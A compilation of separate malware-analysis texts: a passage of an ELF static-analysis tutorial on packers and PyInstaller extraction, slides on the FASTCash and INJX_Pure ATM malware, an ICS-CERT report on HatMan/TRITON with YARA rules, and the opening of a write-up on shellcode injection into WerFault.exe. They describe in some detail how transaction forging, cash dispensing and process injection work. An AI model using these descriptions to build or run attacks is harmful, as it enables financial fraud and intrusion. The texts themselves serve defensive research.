Unlike PE malware, where it’s common for known payloads to be packed with evasive and inconstant packers (polymorphic custom packers), this is rare in ELF malware. One explanation might be that the ongoing ‘cat-and-mouse’ game between security companies and malware developers is still in its infancy, as companies are starting to embrace Linux-focused detection and protection platforms for their systems.
However, the famous UPX is highly used by ELF malware developers. In this section, we will review ELF packers, determine how we can identify if a file is packed, and understand what our next steps are if the file is indeed packed. We will focus on UPX and VMprotect, as they are the most commonly used packers.
#### Vanilla UPX
Files packed with Vanilla UPX are easy to detect and unpack. Let’s try it ourselves by packing the training file with UPX:
1. First, we must make the file larger by compiling it as a statically linked binary (UPX has a minimum file size and this file is currently too small).
```bash
gcc -static training_sample.c -o training-sample-static
```
2. Run:
```bash
upx -9 training-sample-static -o training-sample-static-packed
```
Run `readelf -a training-sample-static-packed` to retrieve the file’s data. You will notice that there are only header and segments tables. These tables are necessary for the file to run.
The segment table contains only PT_LOAD and PT_GNU_STACK segments. This is an anomaly in the segment tables structure that might indicate the file is packed.
Let’s run the `strings` command on the file. Notice that the majority of the strings are gibberish; however, we have an indication that the file is packed with UPX.
Let’s use the Detect It Easy (DIE) tool. DIE is a signature-based tool that detects a file’s compiler, linker, packer, and more. Open the file with this tool and you will see it immediately identifies the file as UPX packed.
If a file is packed with Vanilla UPX, unpack it by running:
```bash
upx -d training-sample-static-packed
```
and then continue your analysis using the unpacked file.
#### Custom UPX
Since UPX is open-sourced, it’s easy to modify and add advanced layers to the packing process. In order to detect files that are packed with custom UPX, we can use the same detection methods used for Vanilla UPX. However, there might not always be an indicative string which can disclose that a file is probably packed with UPX.
Code reuse can also simplify packer detection. Check out this modified UPX example. It contains no string signatures but if we open it in Intezer Analyze, it’s clear the file is packed with modified UPX.
Files packed with modified UPX will most likely not unpack with the `upx -d` command. In this case, we should proceed to dynamic analysis.
#### VMprotect
VMprotect packer is a popular packing choice for PE files and it also has a packing solution for ELF files. You can try it yourself by using the demo version. Execute the following commands to download VMprotect onto your VM:
```bash
wget http://vmpsoft.com/files/VMProtectDemo_x64.tar.gz
mkdir VMprotect
tar -xf VMProtectDemo_x64.tar.gz -C VMprotect
cp training-sample training-sample.app
cd VMprotect
./vmprotect_gui
```
The VMprotect GUI should open. Choose “Open..” and then select “training-sample.app”. Take a look at “VM Segment” in the “Options” setting. This “.vmp” field can be changed to any value the user decides. We will change it to “cat”. Next, click on the play button.
The program has created a packed sample in your working directory. Run `readelf -l training-sample.vmp.app` to view the packed file’s segments. Notice the file now has a PT_LOAD segment with RWE flags and the file’s entrypoint is inside this segment.
Run `readelf -S training-sample.vmp.app` to view the file’s sections. VMprotect will create 2 new sections with the same name and suffixes of 1 and 0, respectively. The section names and the RWE segment combined with high entropy can disclose that a file is packed with VMprotect. If a file is packed with VMprotect, we should proceed to dynamic analysis.
**Note:** If you review the symbols, you will see the functions and variables related to the payload no longer appear in the table. This makes sense considering the payload is packed and the file we are analyzing right now is the packer and not the payload.
### Other Packers
There are several open-source projects for ELF packers. Here are some examples:
- https://github.com/ps2dev/ps2-packer
- https://github.com/n4sm/m0dern_p4cker
- https://github.com/timhsutw/elfuck
**Bottom Line:**
We suspect a file is packed when it has:
1. Packer code reuse
2. High entropy
3. Segment anomalies
4. Large amounts of gibberish strings
5. Packer signature such as UPX strings and VMprotect sections names
Next steps will be:
1. If there is an unpacking solution, we will unpack the file and analyze it.
2. If there isn’t an available unpacking solution, we will proceed to dynamic analysis.
### Interpreters
Interpreters are programs that compile scripts to an executable. ELF files that were compiled with interpreters hold a compiled script within the binary. Interpreters can also be considered as “script obfuscators,” since the ELF file is just “wrapping” the clear-text source script.
Let’s review two commonly used interpreters:
1. Pyinstaller: Compiles Python.
2. shc: Shell script compiler.
#### Pyinstaller
Files that were compiled with Pyinstaller will have the `pydata` section name. This is where the script’s pyc (compiled Python source code) is placed in the ELF binary. Another way to detect Pyinstaller binaries is via strings. The interpreter has unique strings such as “Error detected starting Python VM.”
Code reuse is also helpful for detecting Pyinstaller compiled files. We can extract the Python script from the ELF binary by using `pyinstxtractor`.
**Let’s try it ourselves:**
1. Install Python and Pyinstaller on your VM:
```bash
sudo apt update
sudo apt install -y python3
sudo apt install -y python3-pip
sudo pip3 install pyinstaller
```
2. Create a simple Python script code with `test_pyinstaller.py`:
```bash
nano test_pyinstaller.py
```
Copy the following script to `test_pyinstaller.py`:
```python
for i in range(1,6):
print(f"this is output #{i}")
```
And save (ctrl+x).
3. Compile the file with Pyinstaller:
```bash
pyinstaller --onefile test_pyinstaller.py
```
Pyinstaller created 2 directories in the source folder: `dist` and `build`. The compiled file is in the `/dist` directory. You can run the file and also examine the `pydata` section and its strings.
**Extraction of the Python script from the compiled binary:**
1. Download `pyinextractor` and `uncompyle6`:
```bash
sudo apt install -y git
git clone https://github.com/extremecoders-re/pyinstxtractor.git
sudo pip3 install uncompyle6
```
2. Dump the `pydata` section using `objcopy`. This section holds the pyc (Python bytecodes). Let’s work in a clean directory:
```bash
mkdir training-pyinstaller
cd training-pyinstaller
objcopy --dump-section pydata=pydata.dump ../dist/test_pyinstaller
```
3. Run `pyinstxtractor` on the `pydata` dump:
```bash
python3 ../pyinstxtractor/pyinstxtractor.py pydata.dump
```
You should receive the following output: `pyinstxtractor created a directory named pydata.dump_extracted.` Please note that the tool suggests possible entry points (in our example we know its `test_pyinstaller.pyc`).
4. Decompile the relevant pyc file using `uncompyle6`:
```bash
cd pydata.dump_extracted
uncompyle6 test_pyinstaller.pyc
```
We have now successfully extracted the Python code.
#### shc
shc is a shell script compiler. Files that were compiled with shc have specific strings. You can use the YARA signature to detect them along with code reuse. The `UnSHc` tool can be used to extract the compiled bash script from files that were compiled with older shc versions (there currently isn’t a public solution for extracting the script from later versions of this tool).
**Bottom Line:**
We suspect a file is an interpreter when the file has:
1. Interpreter code reuse
2. High entropy (in some cases)
3. Interpreter signature such as unique strings and section names
Next steps will be:
1. If there is a script extraction solution, we will run it on the binary.
2. If there isn’t an available script extraction solution, we will proceed to dynamic analysis.
### ELFparser Tool
Elfparser is an open-source project which as of this publication date hasn’t been updated in the last few years. With that being said, this tool is useful for initial analysis when you want to search for suspects and indicators of the file’s functionalities. In addition to parsing the ELF file to its various tables which are relevant for initial analysis, the tool contains embedded signatures based on the file’s static artifacts which are translated to “capabilities.” These capabilities are then translated to a final score. The higher the score, the more suspicious the file is. This score should be taken with slight skepticism, as the indicator is prone to false positives and trusted files can also come up as highly suspicious.
Let’s upload our training file to the ELFparser tool. It maps the system and popen function to their relevant categories and recognizes the embedded IP address.
## Real Life Sample Analysis
Now, the moment you have been waiting for. In this section, we will analyze a real ELF malware sample and you will be given 3 additional samples so you can practice initial ELF analysis on your own time. You can find the exercise samples here.
Let’s download this sample and open it with ELFparser so that we can obtain an initial overview of the file. ELFparser recognizes the file as UPX packed. Let’s unpack the file using `upx -d`.
Now that we have unpacked the file, let’s open it again in ELFparser. You can see that the file has symbols and ELFparser has gathered some capabilities. The file is likely generating HTTP requests as part of its functionality. The User-Agent and Host headers are variables (based on %s).
Let’s run the `strings` command on the file. The file contains a great deal of strings which look like user agents. We can assume they might be related to the HTTP request identified by ELFparser and that the binary is using different user agents to avoid being blocked by the host that it’s attempting to contact.
At this point, we may suspect that we are not dealing with a trusted file and that it might also be related to some DDoS malware, but we should gather more information first before making this conclusion.
Let’s look at the file’s symbols. Because it contains many symbols, use `readelf` and grep each symbol type separately.
```bash
readelf -s training-sample | grep FUNC
```
The file contains some unusual and suspicious function names: `FindRandIP`, `tcpFl00d`, `udpfl00d`. We can almost certainly conclude that this file is malware. Let’s do a quick Google search for these unique functions so we can classify the file. We receive search results for Mirai and Gafgyt analysis. It’s now clear that this file is a botnet which is a variant of Mirai.
### Golang Files
There is a new trend we are seeing where ELF malware is written in Golang. Kaiji, NOTROBIN, and Kinsing are just some examples. Golang files have a different structure than classic ELF files. We will soon publish an article explaining the ELF Golang format and how to analyze these binaries. Stay tuned!
## Conclusion
We reviewed initial ELF analysis with an emphasis on static analysis. We detailed the different artifacts and components that are relevant for initial analysis and learned how they can help us gather immediate insights about a file. We also explained which tools can be used to gather those insights.
Initial analysis is the first step you should take when approaching a file but it’s not always enough to determine a file’s verdict and classify the threat if it’s malicious. A file can be packed, stripped, or just not informative enough to make an assessment during the initial analysis phase. In part 3, we will review the next step in ELF file analysis: dynamic analysis. You will learn what information can be extracted from this step and which tools can be used to gather it.
**Avigayil Mechtinger**
Avigayil is a product manager at Intezer, leading Intezer Analyze product lifecycle. Prior to this role, Avigayil was part of Intezer's research team and specialized in malware analysis and threat hunting. During her time at Intezer, she has uncovered and documented different malware targeting both Linux and Windows platforms. |
# Satori Author Linked to New Mirai Variant Masuta
Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug. |
# FASTCash and INJX_PURE
## How Threat Actors Use Public Standards for Financial Fraud
**Kevin Perlow**
**BlackHat USA 2020**
### About Me
**Technical Threat Intelligence (TechINT)**
**Previous Research**
- SANS DFIR 2016: YARA and VirusTotal (w/ Allen Swackhamer)
- SANS DFIR 2017: Tracking Bitcoin Transactions
- BH 2018: Mapping Decentralized Infrastructure
I really like soft pretzels…
### Background and Objectives
- Understanding financial standards – ISO 8583 and XFS
- Examine how threat actors use these in their malware
- Discuss the advantages and drawbacks threat actors experience
### Introduction to ISO 8583
- What is ISO 8583?
- Critical for card transactions (e.g. ATMs, POS devices)
### Example ISO 8583 Message
```
020042000400000000021612345678901234560609173030011456789ABC10001234567890123456789012345678901234567890123456789012345678901234567890123456789
```
*Note: I modified three digits to create a valid Point-of-Service entry mode value*
### ISO 8583 Message Components
- Three parts to any ISO 8583 message:
1. Message Type Identifier – Acts as a “header”
2. Bitmap – Specifies data elements that are present
3. Data Elements – Contain transaction-specific information
### ISO 8583 MTI
- Four subcomponents within the ISO 8583 MTI:
1. Version
2. Message Classification (Authorization, financial, chargeback, etc.)
3. Message Function
4. Message Source
### Example ISO 8583 Message
```
020042000400000000021612345678901234560609173030011456789ABC10001234567890123456789012345678901234567890123456789012345678901234567890123456789
```
### Example - MTI
```
0200
0 = Version: 1987
2 = Classification: Financial Message
0 = Function: Request
0 = Source: Acquirer
```
### Example - Bitmap
```
020042000400000000021612345678901234560609173030011456789ABC10001234567890123456789012345678901234567890123456789012345678901234567890123456789
```
This bitmap indicates the presence of fields 2, 7, 22, 63.
### Example – DE 2 (PAN)
```
PAN = 16 digits [1234567890123456]
```
### Example – DE 7 (Transmiss. Date/Time)
```
Transmission Date and Time = 06-09 17:30:30 UTC
```
### Example – DE 22 (POS Entry)
```
POS Entry Mode = 011
01 = Manual Entry, 1 = PIN entry available at terminal
```
### FASTCash
- Malware family, intercepts ISO 8583 messages and approves them
- Three types: AIX Type 1, AIX Type 2, Windows
- Files tailored to their environment
### FASTCash – AIX Type 1
### FASTCash – AIX Type 1 Workflow
- Oval = Function
- Rectangle = Action
### FASTCash – AIX Type 1 [CheckSock]
- Move required IP
- Compare current IP to required IP
- Set value of 1 if they are the same
### FASTCash – AIX Type 1 [GetMsgInfo]
- Grab Field 2 (PAN)
- Grab Field 3 (Processing Code)
- Not shown: Field 0 (MTI), Field 60 (Reserved/Private)
### FASTCash – AIX Type 1 [Responses]
Three possible workflows:
1. GenerateResponseTransaction1
2. GenerateResponseTransaction2
3. GenerateResponseInquiry1
### FASTCash – AIX Type 1 [Processing]
### FASTCash – AIX Type 1 [Transaction 1]
1. Copy Fields
2. Set Response Code
3. Create Random Amount
### FASTCash – AIX Type 1 [Transact. Fields]
Fields Copied (Transaction 1) | Fields Copied (Transaction 2)
--- | ---
2 – PAN | 2 – PAN
3 – Processing Code | 3 – Processing Code
4 – Amount, Transaction | 4 – Amount, Transaction
7 – Transaction Date and Time | 7 – Transaction Date and Time
11 – System Trace Audit Number | 11 – System Trace Audit Number
14 – Date, Expiration | 14 – Date, Expiration
19 – Acquiring Country Code | 19 – Acquiring Country Code
22 – POS Entry Mode | 22 – POS Entry Mode
25 – POS Condition Code | 25 – POS Condition Code
32 – Acquiring Identification Code | 32 – Acquiring Identification Code
35 – Track 2 Data | 35 – Track 2 Data
37 – Retrieval Reference Number | 37 – Retrieval Reference Number
41 – Card Acceptor Terminal ID | 41 – Card Acceptor Terminal ID
42 – Card Acceptor ID | 42 – Card Acceptor ID
44 – Additional Response Data | 44 – Additional Response Data
49 – Currency Code, Transaction | 49 – Currency Code, Transaction
62 – INF Data (binary) | 62 – INF Data (binary)
63 – Network Data (binary) | 63 – Network Data (binary)
### FASTCash – AIX Type 1 [Inquiry]
Fields Copied
- 2 – PAN
- 3 – Processing Code
- 4 – Amount, Transaction
- 7 – Transaction Date and Time
- 11 – System Trace Audit Number
- 14 – Date, Expiration
- 18 – Merchant Type
- 19 – Acquiring Country Code
- 22 – POS Entry Mode
- 25 – POS Condition Code
*ResponseInquiry1 only uses Response Code 00 (Approve)*
### FASTCash – AIX Type 1 [Inquiry]
```
cc01sssCdddddddddddd
```
“356”
Field 54 (Additional Amounts)
### FASTCash – AIX Type 1 [Inquiry]
- What is actually happening here?
- Field 54: Up to six additional account amounts
- C = Credit Amount
- Format:
- Account Type (2 Numbers)
- Amount Type (2 Alphanumeric)
- Currency Code
- Balance Type Digit (0, C, or D) + Amount (12 digits)
### FASTCash – Putting it All Together
1. Inject Into Process
2. Preliminary Checks (e.g. IP, PAN, Message Type)
3. Decision point:
1. Pass Transaction
2. Block + Response 1
3. Block + Response 2
4. Block + Inquiry
### FASTCash – AIX Type 2
- Consolidated message processing
- Blacklist function (named but no functioning branching logic)
- Transition between AIX Type 1 and Windows versions
### FASTCash – Windows
### FASTCash – Windows (ResponseParent)
- Get Field 0 (MTI)
- Get Field 22 (POS Entry Mode)
- Digit Checker Function
### FASTCash – Windows (Response)
1. Grab MTI + Fields 3, 4, 11, 49
2. Check that all these fields had data
3. Exit function if not
### FASTCash – Windows (Response)
- Processing Code First Digit = “3”?
- Processing Code First Digit = “0”?
### FASTCash – Windows (Response)
- Processing Code Starts with 3:
- Return random amount as balance inquiry
- `cc02949Cdddddddddddd`
- 949 = Turkish Lira
- 02 = Available Balance
- Processing Code Starts with 0:
- Response 00, return random amount
- Other Processing Codes:
- Response 55 (Incorrect PIN)
### FASTCash – Three Things to Think About
1. A lot needs to go right
2. An awful lot can go wrong
3. Heavy operational requirements (e.g. programmers, money mules, access)
### XFS – Intro
- eXtensions for Financial Services
- Standard API for using financial devices such as ATMs
- JXFS – Java version
### XFS – Intro
- Common in ATM malware
- MXFS.dll
- WFSGetInfo
- WFSExecute
- WFS_CMD_PIN_GET_DATA
- WFMOpenKey
- WFMEnumKey
### INJX_Pure – Background
- ATM malware, relies on XFS and proprietary software
- Operators can:
- Query device information
- Dispense cash remotely
- Load and inject additional Java code
- Execute arbitrary JavaScript
- Execute arbitrary cmd.exe commands
### INJX_Pure – Scope
- For this presentation, we are only focusing on the cash dispensing actions
### INJX_Pure – Workflows
### INJX_Pure – Workflows
1. KRunnable() – Reads file named .AgentCli
1. If value = 2, add log entry
2. If value = 1, scandyna(), loadconf(), patchall()
2. loadconf() – Creates an HTTPServ() that accepts commands
- d – dispense cash or query the device
- eva – run arbitrary JavaScript
- mgr – pull running classes
- core – run a locally stored JAR file
- [no endpoint] – execute arbitrary shell command
### INJX_Pure – loadconf()
- Creates an HTTP server
### INJX_Pure – “/d” command
- “/d” endpoint check
- “POST” check
### INJX_Pure – “/d” Query
- Which of these are XFS?
- Peripheral.Dispenser
- getNumberOfCashUnits
- getCashUnit
### INJX_Pure – getCashUnit
### INJX_Pure – getNumberofCashUnits?
- HUGE credit to Frank Boldewin for finding the source code referenced below on VirusTotal:
### INJX_Pure – NotesDeposit
Taking it one step further…
- accept
- disableInsert
- eject
- ejectReject
- ejectStack
- enableInsert
- enableInsertByNotesType
- getCanRetract
- getCashUnit
- getCashUnitEx
- getCashUnitInfoEx
- getCommandStatus
- getDeviceStatus
- getRejectBinStatus
### INJX_Pure – Peripherals
What else could the attackers have done?
- Screen
- Host
### INJX_Pure – “/d” Dispense
- Yellow = Likely XFS/Built on XFS
- Orange = Unclear
- Red = Likely Proprietary
### Concluding Thoughts
- Malicious activity facilitated by legitimate, widely-used financial standards
- Two different approaches to accomplish the same thing
- High operational requirements: money mules, long-term intrusions |
# MALWARE ANALYSIS REPORT
**MALWARE NAME:** HatMan
**TARGETED MALWARE**
**DATE:** December 18, 2017
## SUMMARY
The HatMan malware affects Triconex controllers by modifying in-memory firmware to add additional programming. The extra functionality allows an attacker to read/modify memory contents and execute custom code on demand through receiving specially crafted network packets. HatMan consists of two pieces: a PC-based component to communicate with the safety controller and a malicious binary component that is downloaded to the controller. Safety controllers are used in a large number of environments, and the capacity to disable, inhibit, or modify the ability of a process to fail safely can potentially result in physical consequences. This report discusses the components and capabilities of the malware and some potential mitigations. Media reporting also refers to this malware as both TRITON and TRISIS.
## A NOTE ON THE ANALYSIS
This report will discuss the malware as though it is entirely functional. We are aware that the malware may currently have bugs that prevent it from effecting its desired changes. Though this report presents a “worst case scenario,” it should be considered accurate. We have no reason to suspect that the malware’s creators have not fixed its bugs, or that a functional copy does not exist somewhere that we have not yet seen. We will continue to work with Schneider Electric—the manufacturer of the targeted safety controller—to test our hypotheses and the malware, and we will update the report when we can confirm any additional information.
## ANALYSIS
HatMan follows Stuxnet and Industroyer/CrashOverride, but surpasses them with the ability to directly interact with, remotely control, and compromise a safety system—a nearly unprecedented feat. This report will discuss the malware’s context, components, and capabilities.
### CONTEXT: WHAT ARE SAFETY SYSTEMS?
Safety systems or PLCs are specialized hardware—similar to traditional PLCs—with a strong emphasis on reliability and predictable failure. Unlike PLCs, safety PLCs often have redundant components, such as multiple main processors; watchdog capabilities to self-diagnose anomalies; and robust failure detection on inputs and outputs. They are normally used to provide a way for a process to safely shut down when it has encountered unsafe operating conditions, and provide a high degree of safety and reliability with important monitoring capabilities for process engineers.
### COMPONENTS
HatMan consists of two parts: a more traditional PC-based component that interacts with the safety PLCs, and a binary component that compromises the end device when downloaded. All of these could potentially appear within the safety system environment, possibly in similar file system locations as TriStation TS1131 software installations.
The PC-based component consists of three pieces:
- An executable that programs a Triconex device without the TriStation software,
- A native shellcode program that injects a payload into the in-memory copy of the Triconex firmware, and
- A native shellcode payload that performs malicious actions.
### REPROGRAMMING THE SAFETY PLC
In its current iteration, the component that programs the Triconex controllers is written entirely in Python. The modules that implement the communication protocol and other supporting components are found in a separate file—library.zip—while the main script that employs this functionality is compiled into a standalone Windows executable—trilog.exe—that includes a Python environment.
This Python script communicates using four Python modules—TsBase, TsLow, TsHi, and TS_cnames—that collectively implement the TriStation network protocol (“TS”, via UDP 1502); this is the protocol that the TriStation TS1131 software uses to communicate with Triconex safety PLCs. Although this protocol is undocumented, it is similar to the officially documented, user application Triconex System Access Application (TSAA) protocol, and could feasibly have been reverse engineered from knowing this, other manufacturers’ documentation, and watching traffic between the programming workstation and safety PLC. In addition, this protocol does not require any authentication or encryption, although ACLs may be configured on the PLC. The Python script is also capable of autodetecting Triconex controllers on the network by sending a specific UDP broadcast packet over Port 1502.
In addition to their implementation of the TriStation protocol, the Python modules also expose a set of methods to interact with the compromised safety PLC. These use a specific network command with some specially crafted data to pass messages to the implant in order to expose the functionality of the malicious modifications to an attacker on a computer on the safety network, regardless of key switch position.
The general execution flow of the Python script begins with connecting to a Triconex controller using an IP address provided as an argument. Once it has connected, it sets an argument for itself by appending a small program, running it, and then checking to ensure it succeeded. It then overwrites the program with a small dummy program if its “clean” flag is set. Following this, it builds the malicious payload and overwrites the same program slot with this new code. Then it runs the malicious payload, waits for it to finish, and verifies it succeeded. Finally, it overwrites the malicious program with the same dummy program if the same “clean” flag is set.
### THE MALICIOUS PAYLOAD
The malicious shellcode is split into two separate pieces—inject.bin and imain.bin. The former is more generic code that handles injecting the payload into the running firmware, while the latter is the payload that actually performs the additional, malicious functionality. Both binary components are PowerPC bytecode—the same as the firmware and any applications compiled for and downloaded to the safety controller.
The injector masquerades as a normal, compiled PowerPC program for the Triconex device. It uses the argument value written by the first program downloaded by the Python script; however, unlike the earlier program that heuristically determines a location for the argument, it assumes that this value exists at a particular address. This address is within the structure handed back from the TS protocol “get control program status” command. As the injector runs, it uses this control field several ways: as an input argument that specifies the number of cycles to idle before attempting to inject the payload; as a step counter to track and control execution progress; and as a field for writing debug information upon failure. This allows the attackers to monitor the status of and debug problems with the injector as it runs.
At the time of writing, research is ongoing to determine exactly what effects the intermediate system call checks and/or actions produce upon the device. Once the injector has finished running, it will have modified a function pointer that is used in processing a specific network command (“get main processor diagnostic data”) such that, when that command is received, the payload is executed first prior to normal processing.
The second component of the malicious program—the payload, imain.bin—is designed to take a TriStation protocol “get main processor diagnostic data” command, look for a specially crafted packet body, and perform custom actions on demand. It is able to read and write memory on the safety controller and execute code at an arbitrary address within the firmware. In addition, if the memory address it writes to is within the firmware region, it disables address translation, writes the code at the provided address, flushes the instruction cache, and re-enables address translation. Based on our understanding of the Triconex device, this allows the malware to make changes to the running firmware; however, it appears these changes will be persistent only in memory.
## IMPLICATIONS
Although by itself HatMan does not do anything catastrophic—safety systems do not directly control the process, so a degraded safety system will not cause a correctly functioning process to misbehave—it could be very damaging when combined with malware that impacts the process in tandem. Were both to be degraded simultaneously, physical harm could be effected on persons, property, or the environment. It is safe to say that while HatMan would be a valuable tool for ICS reconnaissance, it is likely designed to degrade industrial processes or worse. Overall, the construction of the different components would indicate a significant knowledge about ICS environments—specifically Triconex controllers—and an extended development lifecycle to refine such an advanced attack.
## DETECTION
NCCIC is working with Schneider Electric to develop an effective method for both detection and mitigation of the known samples in the short term. Schneider Electric is evaluating the possibility of longer-term strategies for detection and mitigation as well. In addition, a YARA rule that matches the three binary components—trilog.exe, inject.bin, and imain.bin—is included as an appendix. This is not necessarily a reliable method for detection, as the files may or may not be present on any workstation, and such a rule cannot be used on a Triconex controller itself; however, it could be useful for detection with agent-based detection systems or for scanning for artifacts.
## MITIGATIONS
There are a number of possible mitigations that can reduce the chance of Triconex devices being compromised. Currently, none of these are complete solutions to the problem, as none will prevent the malware under all circumstances. The following are possible mitigations:
- Ensure Triconex devices connect only to networks required for their proper function. If possible, remove Triconex devices from any networks to which they do not need a persistent connection; however, if historians or other applications that rely on real-time information from safety controllers are needed, this might not be possible.
- Only switch the key to “PROGRAM” when necessary. When a Triconex device has its key set to “RUN” or “REMOTE,” it is unable to be programmed; thus, only moving the key to “PROGRAM” whenever the device must be programmed will reduce the likelihood that it can be compromised. That being said, many processes may be in flux due to changes in the environment, so safety systems may need to be reprogrammed with some frequency; thus, it is rarely possible to never move the key from “RUN.” This is not only a way to reduce the chances of being infected, but also best practice.
- Avoid connecting TriStation workstations to a larger network, avoid using removable media to transfer programs, and follow best practices for updating workstations. The malicious program must be transmitted to a machine—likely a TriStation workstation—that is connected to the same network as the Triconex device. These machines must be treated with caution to prevent malware spreading to them. If there is no path in, the malware we analyzed cannot jump through a workstation onto the safety PLC. This recommendation follows the best practices DHS NCCIC/ICS-CERT has previously detailed for control systems workstations in the “Defense in Depth” document. Any other guidance provided in this document should also be considered.
Schneider Electric has published a security notification (SEVD-2017-347-01) that recommends a variety of mitigations to decrease the chances of infection that are more tailored toward their specific systems. Several key points are mentioned here:
- Safety systems must always be deployed on isolated networks using zones and conduits as defined in IEC-62443.
- Physical controls should be in place so no unauthorized person has access to the plant, equipment rooms, safety controllers, safety peripheral equipment, or the safety network.
- All controllers should reside in locked cabinets.
- All TriStation terminals (Triconex programming software) should be kept in locked cabinets and should never be connected to any network other than the safety network.
- Operator stations should be configured to display an alarm whenever the Tricon keyswitch is in the “Program Mode” with the key removed and secured.
- Enhanced security features in TriStation, as well as the Triconex communication modules, should be enabled.
## APPENDIX: YARA RULES
The following is a YARA rule that matches the binary components of the HatMan malware.
```yara
/*
* DESCRIPTION: YARA rules to match the known binary components of the HatMan malware targeting Triconex safety controllers. Any matching components should hit using the "hatman" rule in addition to a more specific "hatman_*" rule.
* AUTHOR: DHS/NCCIC/ICS-CERT
*/
/* Globally only look at small files. */
private global rule hatman_filesize : hatman {
condition:
filesize < 100KB
}
/* Private rules that are used at the end in the public rules. */
private rule hatman_setstatus : hatman {
strings:
$preset = { 80 00 40 3c 00 00 62 80 40 00 80 3c 40 20 03 7c ?? ?? 82 40 04 00 62 80 60 00 80 3c 40 20 03 7c ?? ?? 82 40 ?? ?? 42 38 }
condition:
$preset
}
private rule hatman_memcpy : hatman {
strings:
$memcpy_be = { 7c a9 03 a6 38 84 ff ff 38 63 ff ff 8c a4 00 01 9c a3 00 01 42 00 ff f8 4e 80 00 20 }
$memcpy_le = { a6 03 a9 7c ff ff 84 38 ff ff 63 38 01 00 a4 8c 01 00 a3 9c f8 ff 00 42 20 00 80 4e }
condition:
$memcpy_be or $memcpy_le
}
private rule hatman_dividers : hatman {
strings:
$div1 = { 9a 78 56 00 }
$div2 = { 34 12 00 00 }
condition:
$div1 and $div2
}
private rule hatman_nullsub : hatman {
strings:
$nullsub = { ff ff 60 38 02 00 00 44 20 00 80 4e }
condition:
$nullsub
}
private rule hatman_origaddr : hatman {
strings:
$oaddr_be = { 3c 60 00 03 60 63 96 f4 4e 80 00 20 }
$oaddr_le = { 03 00 60 3c f4 96 63 60 20 00 80 4e }
condition:
$oaddr_be or $oaddr_le
}
private rule hatman_origcode : hatman {
strings:
$ocode_be = { 3c 00 00 03 60 00 a0 b0 7c 09 03 a6 4e 80 04 20 }
$ocode_le = { 03 00 00 3c b0 a0 00 60 a6 03 09 7c 20 04 80 4e }
condition:
$ocode_be or $ocode_le
}
private rule hatman_mftmsr : hatman {
strings:
$mfmsr_be = { 7c 63 00 a6 }
$mfmsr_le = { a6 00 63 7c }
$mtmsr_be = { 7c 63 01 24 }
$mtmsr_le = { 24 01 63 7c }
condition:
($mfmsr_be and $mtmsr_be) or ($mfmsr_le and $mtmsr_le)
}
private rule hatman_loadoff : hatman {
strings:
$loadoff_be = { 80 60 00 04 48 00 ?? ?? 70 60 ff ff 28 00 00 00 40 82 ?? ?? 28 03 00 00 41 82 ?? ?? }
$loadoff_le = { 04 00 60 80 ?? ?? 00 48 ff ff 60 70 00 00 00 28 ?? ?? 82 40 00 00 03 28 ?? ?? 82 41 }
condition:
$loadoff_be or $loadoff_le
}
private rule hatman_injector_int : hatman {
condition:
hatman_memcpy and hatman_origaddr and hatman_loadoff
}
private rule hatman_payload_int : hatman {
condition:
hatman_memcpy and hatman_origcode and hatman_mftmsr
}
/* Actual public rules to match using the private rules. */
rule hatman_compiled_python : hatman {
condition:
hatman_nullsub and hatman_setstatus and hatman_dividers
}
rule hatman_injector : hatman {
condition:
hatman_injector_int and not hatman_payload_int
}
rule hatman_payload : hatman {
condition:
hatman_payload_int and not hatman_injector_int
}
rule hatman_combined : hatman {
condition:
hatman_injector_int and hatman_payload_int and hatman_dividers
}
rule hatman : hatman {
meta:
author = "DHS/NCCIC/ICS-CERT"
description = "Matches the known samples of the HatMan malware."
condition:
hatman_compiled_python or hatman_injector or hatman_payload or hatman_combined
}
```
## ICS-CERT CONTACT
For any questions related to this report, please contact NCCIC Customer Service at:
U.S. Toll Free: (888) 282-0870
Email: [email protected]
ICS-CERT continuously strives to improve its products and services. You can help by answering a short series of questions about this product on the Feedback page. |
# Release the Kraken: Fileless Injection into Windows Error Reporting Service
On September 17th, we discovered a new attack called Kraken that injected its payload into the Windows Error Reporting (WER) service as a defense evasion mechanism. That reporting service, WerFault.exe, is usually invoked when an error related to the operating system, Windows features, or applications happens. When victims see WerFault.exe running on their machine, they probably assume that some error happened, while in this case they have actually been targeted in an attack.
While this technique is not new, this campaign started with a phishing attack enticing victims with a worker’s compensation claim. It is followed by the CactusTorch framework to perform a fileless attack followed by several anti-analysis techniques.
## Malicious Lure: ‘Your Right to Compensation’
On September 17, we found a new attack starting from a zip file containing a malicious document most likely distributed through spear phishing attacks. The document “Compensation manual.doc” pretends to include information about compensation rights for workers. The file contains an image tag (“INCLDEPICTURE“) that connects to “yourrighttocompensation[.]com” and downloads an image that will be the document template. This domain was registered on 2020-06-05 while the document creation time is 2020-06-12, which likely indicates that they are part of the same attack.
Inside, we see a malicious macro that uses a modified version of CactusTorch VBA module to execute its shellcode. CactusTorch is leveraging the DotNetToJscript technique to load a .Net compiled binary into memory and execute it from vbscript. The following figure shows the macro content used by this threat actor. It has both AutoOpen and AutoClose functions. AutoOpen just shows an error message while AutoClose is the function that performs the main activity.
As you can see, a serialized object in hex format has been defined which contains a .Net payload that is being loaded into memory. Then, the macro defined an entry class with “Kraken.Kraken” as value. This value has two parts that have been separated with a dot: the name of the .Net Loader and its target class name. In the next step, it creates a serialization BinaryFormatter object and uses the deserialize function of BinaryFormatter to deserialize the object. Finally, by calling DynamicInvoke the .Net payload will be loaded and executed from memory.
Unlike CactusTorch VBA that specifies the target process to inject the payload into it within the macro, this actor changed the macro and specified the target process within the .Net payload.
## Kraken Loader
The loaded payload is a .Net DLL with “Kraken.dll” as its internal name, compiled on 2020-06-12. This DLL is a loader that injects an embedded shellcode into WerFault.exe. To be clear, this is not the first case of such a technique. It was observed before with the NetWire RAT and even the Cerber ransomware.
The loader has two main classes: “Kraken” and “Loader“. The Kraken class contains the shellcode that will be injected into the target process defined in this class as “WerFault.exe“. It only has one function that calls the Load function of Loader class with shellcode and target process as parameters. This shellcode is a variant of Cobalt Strike.
The Loader class is responsible for injecting shellcode into the target process by making Windows API calls. These are the steps it uses to perform its process injection:
1. StartProcess function calls CreateProcess Windows API with 800000C as dwCreateFlags.
2. FindEntry calls ZwQueryInformationProcess to locate the base address of the target process.
3. CreateSection invokes the ZwCreateSection API to create a section within the target process.
4. ZwMapViewOfSection is called to bind the section to the target process in order to copy the shellcode in by invoking CopyShellcode.
5. MapAndStart finishes the process injection by calling WriteProcessMemory and ResumeThread.
